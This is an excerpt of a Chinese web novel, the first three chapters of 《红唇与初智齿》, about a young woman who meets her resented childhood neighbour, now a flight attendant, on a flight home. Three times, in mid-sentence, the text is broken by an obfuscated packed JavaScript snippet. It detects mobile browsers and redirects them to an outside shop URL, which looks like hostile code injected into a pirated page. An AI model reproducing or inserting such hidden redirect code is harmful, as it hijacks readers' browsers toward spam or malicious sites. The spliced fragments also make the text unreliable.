《红唇与初智齿》 1. 「救星与战士」 《红唇与初智齿》 作者/文笃 正版首发/晋江文学城 - 在登上这趟即将飞回酸梅岭的航班之前,况莱提前预支了三个今年的生日愿望: 第一、任何人都不要问她为什么突然回酸梅岭,这次回来准备待多久,以及……毕业以后这几年混得怎么样。 第二、今天内,她妈跟她提起许温棠的次数不要超过五次。 第三、不要碰见许温棠本人。 只是她没有预料到,就在短短十五分钟后,这三个愿望,就已经有两个被正式宣告无法兑现。 北京时间九点二十三分,况莱排队站在稀稀散散的人群中间,准备登机,与此同时接到她妈打来的电话。 “你棠姐姐今天也回来。”这是她妈电话里的第一句话。 况莱其实并不意外第二个愿望大概率无法兑现,反正她妈和她打十分钟电话,最起码有六分钟离不了许温棠这个人。 她挺着脖子瞥了眼前面的人流,试图转移话题,“对了,酸梅岭的油菜花是不是又开了?” “开了。”她妈像是在择豆角,手里噼里啪啦地忙个不停,“一大片都是。” “你小时候最喜欢和你棠姐姐去油菜花田玩儿。”当然嘴上也没停。 今天是个好天气,鞋尖上的日光像是快要跳起来。况莱懒洋洋地眯起眼,仿佛对她妈说的话没有任何印象,说,“有吗?不记得了。” 人流扭动速度像昆虫,她心不在焉地昂脸,看了眼廊桥外停着的飞机,“我明明记得我最讨厌油菜花。” “你什么时候又讨厌油菜花了?”她妈在电话里叹口气,择豆角的速度也慢了下来,“你反正是只要一听到你棠姐姐的事情就装怪,不是记性不好就是死不承认。” 况莱不是很愿意承认她妈的说法,“哪有。” 许温棠这个人哪有那么特殊啊? “怎么没有?”她妈继续和她掰扯,“每次,只要我一提你棠姐姐,一分钟内,你准找理由挂我电话!” “没有吧,应该都是巧合。”日光刺眼,况莱心不在焉地说。 她慢吞吞地推着登机箱走进廊桥,停了一会,又说,“况且她不是每个月都要回酸梅岭吗?这到底算什么稀奇事,还需要我每个月都从你这听一次?听完了还得给个不得了的反应?” “行。”她妈倒也没否认这事,“她回酸梅岭是不稀奇,但你回是稀奇得很!” “从出去读大学,到现在,六年了吧,回来看你妈的次数一只手都数得过来。”她妈在电话里一边择豆角一边很不满意地念叨着, “要不是知道当年从我肚子里跳出来的是你况莱,我还以为人许温棠是我女儿。这几年辛辛苦苦在天上飞来飞去,还每个月都从国外回来一趟,一回来就上门对我嘘寒问暖的,还动不动提着补品保健品……” 况莱听了半天,没忍住顶嘴,“她没事对别人妈嘘寒问暖什么?” 三个愿望一下子就没了第二个。她觉得自己这几年运气实在不是太好,可能是这几年她妈和她提及许温棠的次数太多。 “嘿你怎么说话呢!”她妈是个暴躁脾气,在电话里把豆角一甩,音量瞬间拔高,“怎么偏偏对你棠姐姐这么不客气!” 况莱没顾得上回嘴。人流这会正蠕动着往前走,她匆忙夹着电话上了飞机,迎面撞上穿红色制服的空乘冲她微笑着说了声“欢迎登机”。 况莱顿了几秒,瞥向空乘的高跟鞋,抿了抿唇,捂住手机听筒,很小声地对空乘说,“谢谢,辛苦了。” 空乘露出惊讶的表情。 听筒松开,况莱微微躲着人转身,她妈还在电话里数落她,语气不算太好,“从小就这么张牙舞爪,也不知道跟谁学的!” 况莱没继续回嘴。她在行道里挤着找座位,余光总不小心瞥到在舱门门口一直站着说“欢迎登机”的空乘。 对方梳着一丝不苟的黑发,系着细细丝巾,穿整齐的制服,始终带着微笑面对着登机的每位乘客。 像是感觉到况莱的视线,空乘回头看了眼。 况莱迅速将视线撇过去。 “你棠姐姐是心好,念着我,礼数也周到。虽然在国外当空姐,总是在外面飞来飞去,也忙得脚不着地,但每次忙里抽空回来都还记得我……” 她妈还在电话里念叨着,大概发现她很久都没说话,语气变得不太满意, “况莱,你到底听没听!” “听了听了。” 况莱低头找到座位,落座,发现旁边的座位已经坐了人,压低声音对她妈说,“不说了,我这边飞机马上要起飞了,我挂了。” 她妈大概知道她听不进去,没再念叨,最后只在电话里嘟囔几句, “真不知道你怎么就突然和你棠姐姐这么不对付。” “明明小时候还好好的!” “啪嗒”一声。 电话迅速挂断。 况莱看了眼时间,九点三十分。通话时间六分五十六秒,她妈每次打电话都是这样,语速快,挂她电话也快得像是在杀鸡的时候手起刀落斩鸡脖子…… 真不知道要是换成许温棠来打这通电话,她妈还会不会挂得那么利落? 况莱漫不经心地想。 下一秒,手机“叮”地一声。 况莱把包放好,拿起手机。 她妈在她们家族群里转发了一条链接。 由于她们家人丁单薄,这个家族群目前只有三个账号。一个况莱。一个她妈。一个前几年就走掉但没来得及退群、以至于在天上享清福还要被迫接受信息轰炸的她奶。 况莱点开链接。 是一条视频。 还没看清楚标题,视频自动播放,入目就是一架飞机滑行的空镜头。 况莱警惕地意识到不对。 但还没等她反应过来,下一秒—— 一张像人体绘本比例那么标准完美的脸陡然出现。 电光火石间。 况莱像条跳舞僵尸一样把手机扔出去。 下一秒。 意识到这是她的手机而不是许温棠的。 又反应迅速地像捞烫手山芋一样捞回来。 手机扔出去还没落地。 就变成蹦蹦跳跳抓不住的鱼回到她手里。 也被用最快的速度锁了屏。 等她彻底反应过来,黑漆漆的屏幕已经被攥在手里,冷不丁倒映着自己的脸。 况莱惊魂未定,紧握着手机,心有余悸地抬头,茫然看了看周围座位上一张张陌生的脸,倒是没有人注意她。 她又低头,冷静检查一圈像个瘪了的泡泡糖一样缩在座位上的自己。 况莱皱紧鼻尖,突然有点生自己的气,因为她觉得自己没必要反应那么大。 毕竟这么多年过去,许温棠对她来说早就没有任何意义了。 想清楚这件事,况莱百分百确认自己心跳始终平静,便十分坦然地半眯着眼睛,在座椅上挪了挪位置,小心翼翼地再次划开手机屏幕。 画面仍然卡在那一帧—— 机场日落时分,昏黄光线弥漫,女人穿空乘制服,挽起来的发丝一丝不苟。 迎风微笑,肩颈线条流畅,耳垂下戴看起来很贵很小的珍珠耳环,牙齿整齐漂亮,脸颊那颗小痣闪闪发光,看起来含蓄而性感。 是许温棠。 当然是许温棠。 况莱她妈眼中的完美女儿,况莱从小到大周围所有同学眼中的完美学姐,所有邻居眼中的完美榜样,做什么事都特别优秀特别厉害,让所有人认定闪闪发光到总有一天会上联合国演讲…… 但也让所有人意外毕业之后仅仅只是进航空公司当空乘,不过就算如此也会理所当然第一个被挑出来拍航空知识宣传片的……许温棠。 每个人都会喜欢,甚至看第一眼就会喜欢的许温棠。 当然。 除了况莱。 她从小就和许温棠不对付。但她始终相信,这并非完全是她自己的问题。 况莱撇了撇嘴,没有点播放键,而是直接退出链接,于是就看到她妈在链接后面跟了一句—— 【去给我朋友圈点个赞/呲牙笑】 况莱很清楚自己在春天失业、并且从都市溜回老家的行为不算太理直气壮,因此做好准备,要服从她妈的一切正当,和不正当命令。 她准备照做。 也就看到,她妈不仅把许温棠航空宣传片的链接发到群里,更是转发到了朋友圈,并且配上了个极为醒目的“大拇指”。 飞机还停在机场,人还没回酸梅岭,许温棠这个人的存在感就这么强。 况莱突然对自己回到酸梅岭的草率决定有些后悔,也有些心烦意乱,打算直接退出朋友圈,结果却不小心点进去,航空宣传片自动播放—— 许温棠的脸再次出现。 日落黄昏,女人脸庞波光粼粼。跟拍电影特写似的。 况莱有些火大地关了手机屏幕。坐在她旁边的旅客刚刚大概不小心瞥到了眼,小声说了句,“现在这空姐怎么都长得跟明星似的。” 实际上,况莱对这种堪称是夸张的情况没有一点意外。很小的时候她就对此有所感知, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17387960|200285||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 印象中,从市区放映厅到书店短短一段路,她和许温棠同行,最多的一次,有五个人试图索要许温棠的联系方式——其中甚至有人自称星探,邀请许温棠去签约当艺人。 也几乎是每一次,许温棠都会拿她当挡箭牌,笑眯眯地揽着她的肩,很有礼貌地对这些陌生人说——不好意思,我妹妹补习班要迟到了。 况莱既讨厌许温棠每次都拿她当挡箭牌,讨厌许温棠连拒绝人都不会被任何人讨厌,也讨厌许温棠总是没有经过她的同意,就对外宣称她是她妹妹。 综上所述。 况莱讨厌许温棠。 况莱关了手机,百无聊赖地盯了会窗外的机场,又记性不好地重新打开,仿佛完全忘记自己刚刚的烦躁来源何处,再次点进她妈朋友圈。 她妈朋友圈背景图甚至用的是小时候她俩一起坐旋转木马、况莱涂着红脸蛋一脸不高兴的合照。 不知道的,还以为许温棠也是她女儿。 不过况莱还是给那条朋友圈点了个赞。因为她不点她妈过会就一定会来催。 飞机还要过一阵才起飞。况莱玩了会就放下手机,打算闭目养神。 陆陆续续有刚登机的旅客从她身边路过。她坐在过道的位置,有点吵,闭了会眼睛,就听到过道另一边,有个嗓门挺大的断断续续一直在喊, “诶,空姐,你给我多拿条毯子!” “空姐,你过来,来给我搬下行李!” “空姐,我儿子第一次坐飞机,想坐靠窗,你给我找个靠窗的位置呗!” 况莱掀了点眼皮,皱着脸往声源处看了眼——对方表情挺理所当然的,仿佛空乘的唯一作用就是为他端茶送水。 而不是安全检查、保障飞行安全、处理应急状况……等一系列需要持证、长期训练才有资格履行的核心职责。当然,况莱完全没有去看她妈转发的航空安全宣传片。 而不久之前站在舱门边微笑的空乘,依然面带微笑地走过去,在这人面前微微弯着腰,低声解释,“不好意思旅客,今天的航班已经没有额外的空位了……” 况莱把唇抿得紧紧的,看了眼空乘弯着的腰,和对方被放置在高跟鞋里看起来并不是很舒适的脚踝。 “那你想想办法不就行了,我不管,我儿子要坐靠窗,你就得想办法。” “实在是不好意思这位旅客,今天的航班已经没有靠窗的空位——”空乘的声音再次压低了些。 “你这什么意思?我说了让你想想办法,你就这么敷衍我是吧,我告诉你,你等我投诉的,喊你空姐是客气,不就是一服务员吗,还真以为自己上了天就不是服务员了——” 况莱越听眉头皱得越紧,脑门里像装了个打气筒快速涨着一股气似的,她拧着手指,没忍住撸起袖子站起了身—— “哎——你讲话能不能客气点?” “我来换吧。” 有道声音几乎是和她同时响起。 隐在吵嚷的争吵声中,很轻,几乎没有什么语气。不高兴的没有,高兴的没有,恼怒的也没有。一如既往。 况莱却骤然僵在原地。 因为她发觉,过去这么多年,自己依然清楚认得这道声音—— 高中,况莱高高兴兴发挥聪明才智替同桌送情书,这道声音的主人敲了敲她的头,不太客气地对她说,“况莱,不准早恋。” 十八岁,这道声音的主人用双手捧着她的脸,很温柔地让她张开黏黏糊糊的口腔,仔细检查让她疼痛、挤涩的第一颗智齿,对她说,“还是拔掉吧,况莱,拔掉就不痛了。” 还是十八岁,这道声音的主人站在风里,面庞朦胧不清,明明是自己要飞到很远很高的地方去,却用她最讨厌的、好似专属于教导者的口吻,一字一句地对她说, “况莱,好好念书,好好感受这个世界。这对现在的你而言,才是最重要的。” “我来换吧。” 二十四岁,在这趟况莱告别梦想、成为一个普通的、没有本领的大人、准备灰溜溜回酸梅岭的航班上。 这道声音再次出现。 此时航班尚未起飞,机舱内仿佛被调成默片频道,目光跌跌撞撞,像一万片从脑海中炸开的气球碎片飘散在空中。 人影憧憧,况莱扶着椅背,愣愣看过去。 靠窗的位置春日流泄,这道声音的主人站起来,以一种缓和矛盾的完美救星姿态,目光扫过闹剧的主人公,再以一种略微吃惊的眼神,不可避免地、直直地停到了况莱的方向—— 偏偏又是许温棠。 永远优雅的许温棠,和……在她面前永远狼狈的况莱。 2. 「围巾与白裙」 像小时候玩的啪啪圈。 “啪嗒”一声! 况莱用生平最快的速度弯腰缩回座位。 许温棠怎么会突然和她在同一架飞机上? 如果提前被告知这件事情的发生,况莱相信自己绝对会换成高铁——哪怕高铁需要她在坚硬的二等座上坐八个小时才能到达市区。 或者宁愿徒步四百八十个小时回酸梅岭。也都不是这张会让她碰上许温棠的飞机票。 机舱喧闹未停。 况莱蜷在座位惊魂未定,低头,瞥见自己露出的小臂上,鸡皮疙瘩从皮肤底层一粒粒冒出来,仿佛也是对这种危险情况有所反应。 半晌。 大概基于某位靠窗乘客、也就是许温棠的慷慨举措,闹剧被以最快的速度解决。 要换座的无理乘客窸窸窣窣地没了声,估计是带着他儿子换到了心满意足的座位。被为难的空姐松了口气,温声向好心让座的女士表达了感谢。 “不客气。” “我坐哪里都一样。” 还是那道声音,不疾不徐。 对外时客客气气,偶尔带笑,时常慷慨,总是优雅。 即便机舱内声响嘈杂,这道声音也被无比清晰地滤到况莱的耳边,仿佛最高级别的纯水,和周围质地低劣的杂质极易区分。 确认这道声音真的属于许温棠而不是别人,况莱仍然觉得不太真实,犹犹豫豫一点一点放下刚刚撸起来的袖子,始终警惕地竖起耳朵,去听后面的声响—— 许温棠从靠窗位置走出来。 许温棠对让路的乘客说“谢谢”,走到靠过道的位置。 许温棠坐下来,没有说话了。 许温棠…… 在看她吗? 况莱稍微抬了抬下巴,闷头,慢慢拿起自己刚刚扔下的包,紧紧搂抱在胸口前面。 她维持这个姿势。 很久。 差不多是在腰背紧贴到有些酸痛的时候。 感觉许温棠没有再将目光投到这边。 况莱稍微缓了口气。 看来许温棠在这一点上和她意见相同。 其实她们本来就算不上熟,不需要因为在同一架飞机上碰到,就特意向对方表示自己的存在。 想到这里。况莱稍微舒展背脊,低头看了眼被自己抱着的、紧巴巴的包。 从包里小心翼翼翻出两盒丝巾。 没有被压瘪。 她再次松了口气。 从那么远的地方回来,总是要带点东西回去。不至于两手空空回去光啃老。况莱明白自己算是脾气怪,性格差,却也不至于连这种公认的社会法则都不懂。 两盒。 一盒当然是给况莱她妈。 另一盒…… 给许温棠她妈。 两国交战,不斩来使。 况莱和许温棠的恩怨情仇,也从来不会伤及许温棠她妈。 毕竟许温棠她妈,从小时候起就对况莱很好,不管况莱学习好坏,不管况莱有多调皮,对她讲话都是轻声细语,永远不会像叶君君那么暴躁地用鸡毛掸子追着况莱满院跑。叶君君也就是况莱她妈。 就算是那年,五岁的况莱调皮摔了碗,不小心在许温棠拇指留了道不算浅的伤口。许温棠她妈都没有对况莱进行太多责怪,只是温声细语地安慰况莱,甚至很讲道理地拦下了要用藤条教训况莱的叶君君。 况莱把两盒丝巾都小心翼翼地收好,放回包里。 然后坐直。 把两只手掌比较正确地放在膝盖上。 航班从登机到起飞的时间有些久了。她旁边的乘客大概是无聊,和她搭话, “你认识刚刚那位空姐?” “哪位?”况莱目不斜视。 “空姐啊。” 况莱反应过来,也正好瞥见刚刚那位被为难的空乘路过。对方冲她感激地笑了笑。况莱不太习惯地朝对方点了点头,又摇头,“不认识。” “那纯是见义勇为啊。”乘客竖了个大拇指,“佩服。” “见义勇为?” 况莱有些糊涂。微微侧目,对上乘客的视线,才想起刚刚自己站起来差点要和人吵架的事情。她低头,“哦,那个不算。” 声音小了下去,“我就是单纯听不惯喊人服务员而已。” 况莱觉得是对方将自己没有完成的行为夸大很多。 事实上。 如果不是许温棠站出来,刚刚就算是她站起来替空乘说话,也都可能只是激化矛盾。 基于这个层面,况莱承认自己的确冒冒失失,为人处事都不如许温棠得体,周到。明明只差三岁,但况莱就是事事都比不上许温棠。 大概她和许温棠之间永远都横亘着一条河。还小的时候,况莱以为只要自己长到足够大就能跨过去。后来她明白,其实这条河她永远都跨不过去。 因为许温棠会永远比她好,也会永远都比她大三岁。 况莱发觉自己依旧很想摆脱这种感觉。就算她已经离开酸梅岭很久。 “噢我知道了。”乘客恍然大悟,“你有家人干空乘吧?” “所以才听不惯人喊空乘喊服务员?” 况莱愣住。 “就刚刚你视频里看的那位空姐?”乘客自顾自推理,“你姐姐?” 对方目光落到她脸上,若有所思地停了一会,像感叹,又像隐秘的对比,“你姐姐这么漂亮啊,长得跟明星似的。” 况莱觉得这次打气筒游到了心脏的位置,速度也变慢,一点点,像颗粒被碾平再释放,给她充上令她心跳变肿胀的气体。 很久。 她说,“不是。” 否认的语气,“她不是我姐姐。” - “她不是我姐姐。” 许温棠清楚听到这句话。 她抬头。 隔着好几个位置和人影去看况莱。 年轻的女孩子坐在靠走道的位置,披发,没有染,发色是自然的黑,发梢在阳光下看起来质地格外柔软。 棕色皮质外套,躲进外套的肩膀细瘦流畅,身体线条变成许温棠不太熟悉的成人版,内搭是裙子,白色,不知道是从哪一年开始穿的。裙子长度没有到膝盖,小腿下的肌肤敞着,脚踝下裹着白袜。 和人讲话的时候表情极为认真,还是那种劲劲的感觉,好像每件事都是惊天动地的大事。 和记忆中十八岁张牙舞爪的样子并没有相差多少。 她背对着许温棠,挺直背脊,昂着下巴,一字一句强调, “她不是我姐姐。” 仿佛对一个未来和她们两个都不会有任何关系、以后也注定不会再见面的陌生人来说,强调自己和她没有任何关系,这件事都尤其重要。 也好像,小时候对外人强调的每一次一样。 许温棠毫不意外况莱依然讨厌自己。当然,自从那件事之后,况莱有理由会比之前更讨厌自己。 “不好意思。” 许温棠喊住路过的空乘。 空乘停住,“请问有什么需要吗?” 许温棠远远瞥了眼况莱敞出来的小腿,和顶上的空调。 她拿起座位上未拆封的毛毯。 这是今天的第一班机,应该还是消过毒、干净的。 本来要递出去。 下一秒。 那边况莱突然低下脸,和旁边的乘客一起凑到手机面前捣鼓什么。 许温棠动作顿住。 隔几个位置的距离,年轻女孩子对着手机镜头笑成眯眯眼,鼻子也跟着皱起来,很自然地竖起拍照时永远会比的两只剪刀手。 和小时候一样热爱结交忘年好友,甚至飞机还没起飞,就已经和这趟航班上的陌生人一见如故到要拍合照。 也依旧记性不是很好,貌似完全忘记从小到大最讨厌的人就在她身后。 许温棠眯了眯眼。 合照的距离很近,远超过第一次见面应该有的社交距离。 还差几公分。 况莱的腿就快要贴到别人的腿,脸也就快要贴到那位看起来比她年长几岁的女性乘客的脸上。 “女士?”空乘发出疑惑。 许温棠抽出思绪,“抱歉。” 她把未拆封的飞机毛毯收回来,换成自己随身携带的大围巾,递给空乘,“可以请你帮我把这条围巾拿给那个女孩子吗?” 空乘有些惊讶地接过围巾,“没关系的女士,您需要的话 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17387961|200285||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,我可以再去拿一条毛毯——” “没关系,我不需要。”许温棠微笑着说,“起飞之前不是还有很多工作要做吗,不需要特意为我再来回跑一趟。” “好的女士。”空乘接过,然后转身,看见那边的况莱笑眯眯地拍完合照在检查照片之后,有些疑惑地回头向许温棠确认,“是那位小姐吗?” “嗯,麻烦了。”许温棠微笑,看一眼不远处况莱昂起的下巴,重新翻阅膝盖上的书,慢条斯理地解释, “她是我妹妹。” - 和许温棠上次见面是什么时候来着? “咔嚓——” 况莱和旁边的乘客拍合照的时候,突然没有任何由来地想起这件事。 不过也记不太清了。毕竟她在外面待了六年,对她和许温棠之间那点事早就忘得一干二净了。 仔细想想。好像是…… 十八岁成年礼过完的那个零点,况莱第一次喝酒,喝多了非常非常不小心地亲了许温棠一口。当然,她百分百确认这完完全全是不小心的,没有任何是故意的可能,也对此完全没有任何需要六年后再特地进行回忆的印象。 没过多久,况莱第一次长时间离开酸梅岭,跑到省外读大学。 隔壁学校的优秀毕业生许温棠学姐来看她,一如既往地对她的新舍友介绍,说她是她姐姐,希望大家可以多照顾照顾她这个第一次单独在外面念书的妹妹。 再然后,许温棠就在天台和她说了那番话, “况莱,好好念书,好好感受这个世界。这对现在的你而言,才是最重要的。” 用那种似是而非的语气,用她最讨厌的口吻。 于是况莱所期待的,逃离许温棠影响范围之内的大学生活,都被许温棠这次花枝招展的隆重登场给摧毁了。所有舍友,都对她那个只出现过一次就令人惊艳的姐姐念念不忘。 像小学,初中,高中……每次换班级之后,况莱期待自己逃离许温棠,却又落空的每一次一样。 况莱不大高兴地抱着双臂,连旁边的乘客邀请她AirDrop合照的要求都没劲配合。 “您好。”空乘停在她身边,把一条折叠好的围巾递给她, “这是您的围巾。” 围巾? 况莱下意识接过,也下意识说,“谢谢。” 围巾放到腿上,她嗅觉很灵敏地闻到围巾上的香味,一种淡而不俗的香水味,很高级,有点好闻。不过这是哪里来的? “不用谢。”空乘冲她眨了下眼,“是你姐姐让我给你的。” 况莱倏地顿住。 “她大概是怕您觉得冷。”空乘友好解释,然后离开。 “你姐姐?”旁边的乘客又来搭话,“你姐姐也在这架飞机上?” 况莱拧着这条来自罪魁祸首的围巾,很是火大地回头。 出乎意料的。 许温棠也恰好在看她。 女人坐在靠走道的位置,长卷发披着,露额头,戴耳环。 穿件很普通的春款短外套,里面是贴紧皮肤的白色内搭。细而直的脖子上系一条像蓝色又像绿色的丝巾。敞出来的皮肤格外白,丝巾很长,像飘带,以至于让外套看起来却又一点不普通。 她姿态优雅地放下手边的书本,冲况莱微笑,也捋了捋头发,冲她旁边的乘客微微颔首。 “好漂亮。”旁边乘客发出感叹,又和况莱搭话,“所以这才是你姐姐?” “不过和刚刚视频里那空姐怎么长那么像,对了,你们姐妹俩怎么不一起坐啊?吵架了?” “她不是我姐姐,也没吵架,我就是单纯讨厌她而已。”况莱龇牙咧嘴,紧紧盯着许温棠的眼睛说。 许温棠笑看着她的眼睛,仿佛完全没听到她在说什么,只是轻启红唇,很轻地说了三个字。 当然,这三个字看嘴型都看得出来有多讨厌, “盖着腿。” 又来了。 许温棠的语气,许温棠的口吻,许温棠的管教,许温棠的自以为是。 难道不知道况莱从小就讨厌她在外面这么说? 不可能。 许温棠绝对是故意的。 因为许温棠就是虚伪又恶劣。 3. 「丝巾与行李箱」 离开酸梅岭太久,以至于况莱几乎都忘了,其实许温棠骨子里根本就不是多温柔多善良的人。 从她们的第一次冲突开始,这一点就已经显露端倪—— 五岁的况莱太调皮,在八岁的许温棠拇指上留下一道疤。这是况莱从小听到大,耳朵都快要起茧的一回事。 可实际上,她根本不记得这件事具体是怎么发生,只记得那个时候大人都说是她的错,也只记得,那段时间,许温棠在她面前,整天都一副站在道德高地俯视她的样子。 还记得。 那时候她很害怕,因为大人总开玩笑说况莱害许温棠不漂亮,况莱害许温棠生病,况莱害许温棠期末考试成绩不好…… 也因为况莱那个时候是个正在学习公平公正公开这一重要原则的小孩。 所以她对自己的所作所为感到非常愧疚,每天都眼巴巴地求叶君君带她去看许温棠,想要知道许温棠手上那个蜂巢大小的纱布包有没有变薄。 每次去,也都把手指扒在门边,老老实实对许温棠鞠躬,说对不起。 “没关系,妹妹也不是故意的。”当叶君君在况莱身后的时候,许温棠会很懂事地说。 等叶君君也因为愧疚撸起袖子去厨房帮手许温棠她妈了,房门口只剩下扒着手指的况莱一个人了。 许温棠就会彻头彻尾变成另外一个样子。 厨房传来饭菜香气,况莱嗅嗅鼻子,小心翼翼松开手指,站在门口想进又不敢进,抬头,眼巴巴地看了眼许温棠手指上包着的纱布。 她想到老师教的正确道歉方式,是要说“对不起”+“改正方法”+“以后绝不”,便再次很郑重其事地闷着头说, “姐姐对不起,我知道错了,以后吃饭再也不端着碗到处走了。” 这可能是况莱寥寥可数还愿意喊许温棠“姐姐”的时候。 一般来讲,过错方道了歉并不意味着受害方要完全原谅。可惜当时的况莱并不懂得这个道理。她才五岁,就算意识到这是什么严重的事情,也没有办法认知到这件事对一个八岁小孩的严重程度。 她以为,许温棠都已经在大人面前说了那么多次没关系,也就是真的不怎么怪她。 因为所有大人都知道,相比况莱,许温棠是更懂事更听话的那一个。 但那天,许温棠却突然问她,“你是不是才五岁?” 况莱很费力地掰着手指,回答,“是。” “哦。” 如果况莱那个时候再大一点,她就会明白许温棠当时的语气是冷漠。 “那有用吗?” 况莱愣住。 那天,许温棠居高临下地看着她,“你才五岁,只要一哭鼻子一害怕所有大人都不会怪你。” “所以你一个五岁小孩的道歉到底有什么用?” 脸上几乎没有任何表情, “是可以把我手上的伤治好吗?还是可以让我不痛?” 这对五岁的况莱来说,绝对是个巨大的、完完全全无法解决的道德困境。 她被许温棠像是大人的质问吓坏了。嘴一瘪,脸一皱,马上就要嚎啕大哭。 “不许哭。”许温棠威胁她,像是觉得很是烦躁,一只手撑着脸,另一只手…… 她把蜂巢大的纱布手指挨近那碗被放置在桌边的中药碗边,做出要推不推的架势,眯着眼看况莱,“哭的话我等下就和大人说这个碗也是你摔的。” 没有人会相信,调皮小孩况莱和懂事小孩许温棠之间,摔掉碗的那个是许温棠。更何况,况莱早已有着可供查证的前科。 况莱小小年纪就已经对这个事实有着清楚认知。 于是那天。 她只好死死咬紧腮帮子憋眼泪,也不敢找大人告状。 就连晚上吃饭吃到自己最爱的贡菜也没吃几口,大人们问她怎么没胃口。 她抬头,正好对上饭桌对面面无表情看着她的许温棠,只好很害怕地把实施了一半的嚎啕大哭缩回去,屈辱摇头,说, “我—嗝~吃饱—嗝~了~” 留疤的事情无从考证,后来况莱甚至怀疑,是不是原本就是许温棠闯的祸栽赃给自己。 但她苦于没有证据,也不愿意轻易冤枉别人,所以只好还是十分有责任心地承认,这件事从头到尾都是自己的过错。 于是被许温棠以此要挟,替许温棠喝了一整年她不爱喝的核桃牛奶,以及用自己小猪存钱罐里攒的零花钱给许温棠买了一年的小零食。 至此,许温棠这个人,也在况莱心中留下无法磨灭的深刻阴影。 大约与鱼腥草在况莱她妈心中的阴影程度相当。 - 回忆结束。 飞机起飞。 况莱看着那条被许温棠署名的大围巾,更是怒从心中起。 她咬牙切齿准备扔掉。 但起飞后机舱内突然变冷许多。恰好今天出门的时候天气好,她想着回乡还是要穿漂亮一点,便没穿多少。 现在才飞了一会,她光着的腿就被冷风吹得泛起了细细密密的小疙瘩。 “这么冷你不用盖着点腿?” 旁边乘客缩在厚外套里劝她,“都是一家人,等下回去还得一块吃饭,别和你姐姐置气了。” “你看,她还在对你笑呢。” 况莱对乘客的劝慰置若罔闻,“谁和她是一家人了?” 她很有骨气地把围巾叠好,放在小桌板边上,向几个位置开外的许温棠表明自己绝对不会碰。这很重要。 之后她没有空回头再管许温棠有没有冲她笑。 飞机进入正常飞行阶段。 况莱有晕机的老毛病,为了保证自己的大脑供氧充足,她决定暂缓和许温棠的斗争。 她抱着自己的包,严严实实放在腿上。 头斜斜靠在椅背。 很安然地准备入睡。 但这趟航班的冷气充足程度还是超过了她的想象。 很久没坐过这么长时间的飞机,她所有厚衣服都被提前寄了回去,没带什么厚衣服上机。 眯了一会,没能睡得着。 冷,头晕脑胀,想吐。 有一瞬间。 况莱甚至觉得自己是不是被误送入太平间,飞机上怎么会冷成这样? 就在她头晕目眩,胃部也窒闷得有空气和液体在里面搅动的时候—— 一条毛毯盖了下来。 挡住四周弥漫的冷气,轻轻包裹住她的身体,裸露的皮肤。 况莱费力掀开眼皮,仍然觉得天旋地转,但也仍旧打算铁骨铮铮地拒绝。 但刚刚那位空乘站在她旁边,很体贴地对她微笑,“不用担心,这次是我给你的。” 况莱揉了揉眼睛。 空乘笑了笑,在她桌板上留下一瓶未拆封的瓶装水,还有几颗绿色包装的糖。 “头晕的话,吃点酸的会好点。” “谢谢。” 况莱晕头转向地扯了扯毛毯,盖到肩膀,嗅了嗅,上面没有来历不明的香水味。 她稍微放下了心。 缩在毛毯里捏起一颗糖。 包装是绿色,上面印着些花里胡哨的英文字母,看上去是青梅糖,但以前没有吃过。 实在是难受得厉害。 况莱没细想,晕晕乎乎地拆了包装,连忙送到嘴里。酸涩的硬质糖果抿到口腔,慢慢化开,液体流入喉咙,很酸很酸,几乎没有甜味,但却意外地很有效,让她像是翻江倒海的胃好受不少。 困意袭来。她舒展紧紧皱着的脸,在入睡之前昏昏沉沉地想—— 这糖这么酸,倒还真挺有用的,等下记得查查是什么牌子。 - 许温棠亲眼看到况莱把青梅糖吃下去。 稍微放心。 她从衣兜里掏出一颗青梅糖,和况莱刚刚吃下的包装如出一辙。 许温棠拆开包装,抿到口腔。 酸涩糖果渐渐融化。 许温棠将书本放下,靠在椅背,目光重新落到况莱脸上。 年轻女孩子歪着头,迷迷糊糊地靠在座椅上,脸色仍然有点白,但眉头却慢慢舒展开来了。 还是那么容易上当,没有警惕心,甚至轻易接受陌生人给的糖果。 也还是…… 比起许温棠给出去的糖果,更愿意接受陌生人给的。 飞机正常航行,飞跃云层,许温棠收回目光,重新拿起书本,隔着人影看向窗外。 还有几个小时,就要到酸梅岭了。 - 下机后况莱没再碰见许温棠。 这让她彻彻底底舒了口气。 毕竟落地之后她仍然晕头晕脑,光是推行李箱坐大巴回酸梅岭就要浪费不少精力,甚至因此在车站休息了半小时才上车,实在没办法以这个状态和许温棠吵架。 虽然。 她和许温棠也基本 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17387962|200285||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不会吵架就是了。 